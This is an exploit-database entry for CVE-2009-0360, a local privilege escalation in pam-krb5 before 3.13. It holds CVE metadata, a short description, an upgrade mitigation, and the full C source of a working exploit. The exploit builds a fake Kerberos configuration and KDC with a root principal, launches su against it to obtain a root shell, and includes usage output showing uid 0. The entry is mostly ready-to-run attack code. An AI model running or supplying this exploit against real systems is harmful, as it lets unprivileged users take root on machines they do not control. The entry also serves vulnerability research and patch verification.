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Kerberos
by:
Jon Oberheide
7.2
CVSS
HIGH
Privilege Escalation
264
CWE
Product Name: Kerberos
Affected Version From: < 3.13
Affected Version To: < 3.13
Patch Exists: YES
Related CWE: CVE-2009-0360
CPE: a:mit:kerberos:pam-krb5
Other Scripts: N/A
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Nuclei Metadata: N/A
Platforms Tested: Linux
2009

pam-krb5 < 3.13 local privilege escalation

pam-krb5 before 3.13, when linked against MIT Kerberos, does not properly initialize the Kerberos libraries for setuid use, which allows local users to gain privileges by pointing an environment variable to a modified Kerberos configuration file, and then launching a PAM-based setuid application.

Mitigation:

Upgrade to the latest version of pam-krb5.
Source

Exploit-DB raw data:

/*
 * cve-2009-0360.c
 *
 * pam-krb5 < 3.13 local privilege escalation
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0360
 *
 *   pam-krb5 before 3.13, when linked against MIT Kerberos, does not properly 
 *   initialize the Kerberos libraries for setuid use, which allows local 
 *   users to gain privileges by pointing an environment variable to a 
 *   modified Kerberos configuration file, and then launching a PAM-based 
 *   setuid application. 
 *   
 * Usage:
 *
 *   $ gcc cve-2009-0360.c -o cve-2009-0360
 *   $ ./cve-2009-0360
 *   [+] creating krb5.conf
 *   [+] creating kdc.conf
 *   [+] creating kerberos database
 *   Loading random data
 *   Initializing database '/tmp/cve-2009-0360/principal' for realm 'TEST.COM',
 *   master key name 'K/M@TEST.COM'
 *   [+] adding principal root@TEST.COM
 *   Authenticating as principal root@TEST.COM with password.
 *   Enter KDC database master key: 
 *   WARNING: no policy specified for root@TEST.COM; defaulting to no policy
 *   Principal "root@TEST.COM" created.
 *   [+] launching krb5kdc on 141.212.110.163:6666
 *   [+] launching su with fake KDC configuration
 *   [+] enter "root" at the password prompt
 *   Password: 
 *   # id
 *   uid=0(root) gid=0(root) ...
 *
 * Notes:
 *
 *   This exploit will result in local privilege escalation on hosts that use 
 *   the pam-krb5 module for su authentication.  Check the su and system-auth
 *   PAM configuration files in /etc/pam.d to determine if pam-krb5 is in use.
 *   Some customization of the defined constants and paths may be necessary 
 *   for your environment.  Be sure to set FAKE_KDC_HOST to the IP address of
 *   an active non-loopback interface on the target machine.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>

#define REALM "TEST.COM"
#define FAKE_KDC_HOST "141.212.110.163"
#define FAKE_KDC_PORT "6666"
#define PRINCIPAL_NAME "root"
#define PRINCIPAL_PASS "root"
#define TMP_DIR "/tmp/cve-2009-0360"
#define KUTIL_PATH "/usr/sbin/kdb5_util"
#define KADMIN_PATH "/usr/sbin/kadmin.local"
#define KRB5KDC_PATH "/usr/sbin/krb5kdc"

#define KRB5_CONF \
  "[libdefaults]\n\tdefault_realm = " REALM "\n\n[realms]\n\t" REALM \
  " = {\n\t\tadmin_server = " FAKE_KDC_HOST ":" FAKE_KDC_PORT "\n\t\t" \
  "default_domain = " REALM "\n\t\tkdc = " FAKE_KDC_HOST ":" FAKE_KDC_PORT \
  "\n\t}\n\n[domain_realm]\n\t." REALM " = " REALM "\n\t" REALM " = " REALM

#define KDC_CONF \
  "[kdcdefaults]\n\tkdc_ports = " FAKE_KDC_PORT "\n\n[realms]\n\t" REALM \
  " = {\n\t\tdatabase_name = " TMP_DIR "/principal\n\t\tadmin_keytab = " \
  "FILE:" TMP_DIR "/kadm5.keytab\n\t\tacl_file = " TMP_DIR "/kadm5.acl" \
  "\n\t\tkey_stash_file = " TMP_DIR "/stash\n\t\tkdc_ports = " FAKE_KDC_PORT \
  "\n\t\tmax_life = 10h 0m 0s\n\t\tmax_renewable_life = 7d 0h 0m 0s\n\t}"

int
main(void)
{
    int ret;
    FILE *fp;
    char *err;

    ret = mkdir(TMP_DIR, 0755);
    if (ret == -1 && errno != EEXIST) {
        err = "cannot create TMP_DIR";
        printf("[-] Error: %s (%s)\n", err, strerror(errno));
        return 1;
    }

    printf("[+] creating krb5.conf\n");
    sleep(1);

    fp = fopen(TMP_DIR "/krb5.conf", "w");
    if (!fp) {
        err = "cannot open krb5.conf";
        printf("[-] Error: %s (%s)\n", err, strerror(errno));
        return 1;
    }
    fwrite(KRB5_CONF, 1, strlen(KRB5_CONF), fp);
    fclose(fp);

    printf("[+] creating kdc.conf\n");
    sleep(1);

    fp = fopen(TMP_DIR "/kdc.conf", "w");
    if (!fp) {
        err = "cannot open kdc.conf";
        printf("[-] Error: %s (%s)\n", err, strerror(errno));
        return 1;
    }
    fwrite(KDC_CONF, 1, strlen(KDC_CONF), fp);
    fclose(fp);

    chdir(TMP_DIR);

    printf("[+] creating kerberos database\n");
    sleep(1);

    ret = system(KUTIL_PATH " create -d " TMP_DIR "/principal -sf " TMP_DIR \
                 "/stash -r " REALM " -s -P \"\"");
    if (WEXITSTATUS(ret) != 0) {
        err = "kdb5_util command returned non-zero";
        printf("[-] Error: %s, continuing exploit anyway\n", err);
    }

    printf("[+] adding principal " PRINCIPAL_NAME "@" REALM "\n");
    sleep(1);

    ret = system("echo \"\" | " KADMIN_PATH " -m -p " PRINCIPAL_NAME "@" REALM \
                 " -d " TMP_DIR "/principal -r " REALM " -q \"add_principal " \
                 "-pw " PRINCIPAL_PASS " " PRINCIPAL_NAME "@" REALM "\"");
    if (WEXITSTATUS(ret) != 0) {
        err = "kadmin.local command returned non-zero";
        printf("[-] Error: %s, continuing exploit anyway\n", err);
    }

    printf("[+] launching krb5kdc on " FAKE_KDC_HOST ":" FAKE_KDC_PORT "\n");
    sleep(1);

    ret = system("KRB5_KDC_PROFILE=\"" TMP_DIR "/kdc.conf\" " KRB5KDC_PATH \
                 " -d " TMP_DIR "/principal -r " REALM);
    if (WEXITSTATUS(ret) != 0) {
        err = "krb5kdc command returned non-zero";
        printf("[-] Error: %s, continuing exploit anyway\n", err);
    }

    printf("[+] launching su with fake KDC configuration\n");
    sleep(1);
    printf("[+] enter \"" PRINCIPAL_PASS "\" at the password prompt\n");
    sleep(1);

    system("KRB5_CONFIG=\"" TMP_DIR "/krb5.conf\" su");

    return 0;
}

// milw0rm.com [2009-03-29]